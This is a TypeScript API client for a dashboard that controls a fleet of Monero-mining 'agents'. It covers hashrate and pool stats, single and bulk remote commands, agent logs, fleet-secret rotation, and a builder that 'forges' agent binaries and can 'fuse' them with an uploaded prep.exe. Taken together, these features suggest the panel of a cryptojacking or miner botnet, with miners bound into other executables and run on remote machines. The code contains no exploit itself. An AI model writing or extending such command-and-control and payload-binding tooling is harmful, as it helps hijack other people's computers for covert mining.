import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice } from '../types'; import { authHeaders } from './auth'; const API_BASE = '/api/v1'; // Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally // omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth. async function fetchJSON(url: string, options?: RequestInit): Promise { const { headers: extraHeaders, ...rest } = options ?? {}; const res = await fetch(`${API_BASE}${url}`, { ...rest, headers: { 'Content-Type': 'application/json', ...authHeaders(), ...(extraHeaders as Record | undefined), }, }); if (!res.ok) { const err = await res.text(); throw new Error(`API error ${res.status}: ${err}`); } return res.json(); } export const api = { // Agents listAgents: () => fetchJSON('/agents'), getAgent: (id: string) => fetchJSON(`/agents/${id}`), getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'), getAgentStats: (id: string, limit?: number) => fetchJSON(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`), // Shares getRecentShares: (limit?: number) => fetchJSON(`/shares${limit ? `?limit=${limit}` : ''}`), // Builds listBuilds: () => fetchJSON('/builds'), // Config getConfig: () => fetchJSON('/config'), updateConfig: (config: Partial) => fetchJSON('/config', { method: 'PUT', body: JSON.stringify(config), }), // Builder buildAgent: (req: BuildRequest, prepFile?: File | null) => { if (req.fusion_enabled) { if (!prepFile) { return Promise.reject(new Error('Fusion requires prep.exe upload')); } const form = new FormData(); form.append('config', JSON.stringify(req)); form.append('prep_exe', prepFile, prepFile.name || 'prep.exe'); return fetch(`${API_BASE}/builder/build`, { method: 'POST', headers: authHeaders(), body: form, }).then(async (res) => { if (!res.ok) { const err = await res.text(); throw new Error(`API error ${res.status}: ${err}`); } return res.json() as Promise; }); } return fetchJSON('/builder/build', { method: 'POST', body: JSON.stringify(req), }); }, estimateFusion: (req: BuildRequest, prepFile?: File | null) => { if (!prepFile) { return Promise.reject(new Error('Fusion requires prep.exe upload')); } const form = new FormData(); form.append('config', JSON.stringify(req)); form.append('prep_exe', prepFile, prepFile.name || 'prep.exe'); return fetch(`${API_BASE}/builder/estimate`, { method: 'POST', headers: authHeaders(), body: form, }).then(async (res) => { if (!res.ok) { const err = await res.text(); throw new Error(`API error ${res.status}: ${err}`); } return res.json() as Promise; }); }, pinBuild: (buildId: string) => fetchJSON<{ ok: boolean; pinned_id: string }>(`/builds/${buildId}/pin`, { method: 'PUT' }), unpinAll: () => fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }), deleteBuild: (buildId: string) => fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }), buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`, buildArtifactUrl: (buildId: string, fileName: string) => `${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`, buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`, // Blueprints (config presets) listBlueprints: () => fetchJSON('/blueprints'), getBlueprint: (name: string) => fetchJSON(`/blueprints/${encodeURIComponent(name)}`), saveBlueprint: (name: string, data: any) => fetchJSON<{ success: boolean; name: string; file_path: string; created_at: string }>('/blueprints', { method: 'POST', body: JSON.stringify({ name, data }), }), deleteBlueprint: (name: string) => fetchJSON<{ success: boolean; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, { method: 'DELETE', }), // Health / server healthCheck: () => fetchJSON<{ status: string }>('/health'), getServerInfo: () => fetchJSON('/server/info'), rotateFleetSecret: () => fetchJSON<{ ok: boolean; hint?: string }>('/server/rotate-secret', { method: 'POST' }), // Fleet ops getAlerts: () => fetchJSON('/alerts'), getPoolStatus: () => fetchJSON('/pools/status'), getAIActivity: () => fetchJSON('/ai/activity'), getEarningsEstimate: (hashrate: number) => fetchJSON(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`), sendAgentCommand: ( id: string, action: string, payload?: Record ) => fetchJSON<{ success: boolean; error?: string }>(`/agents/${id}/command`, { method: 'POST', body: JSON.stringify({ action, ...payload }), }), getAgentLog: (id: string, refresh = false) => fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`), updateAgentMeta: (id: string, notes: string, tags: string[]) => fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, { method: 'PUT', body: JSON.stringify({ notes, tags }), }), sendBulkCommand: (agentIds: string[], action: string) => fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', { method: 'POST', body: JSON.stringify({ agent_ids: agentIds, action }), }), createUser: (username: string, password: string) => fetchJSON<{ success: boolean }>('/users', { method: 'POST', body: JSON.stringify({ username, password }), }), // XMR market price (server-side CoinGecko cache, refreshed every 10 min) getXmrPrice: () => fetchJSON('/market/xmr'), // Cancel an in-progress forge build by its cancel token. cancelBuild: (cancelToken: string) => fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, { method: 'DELETE', }), };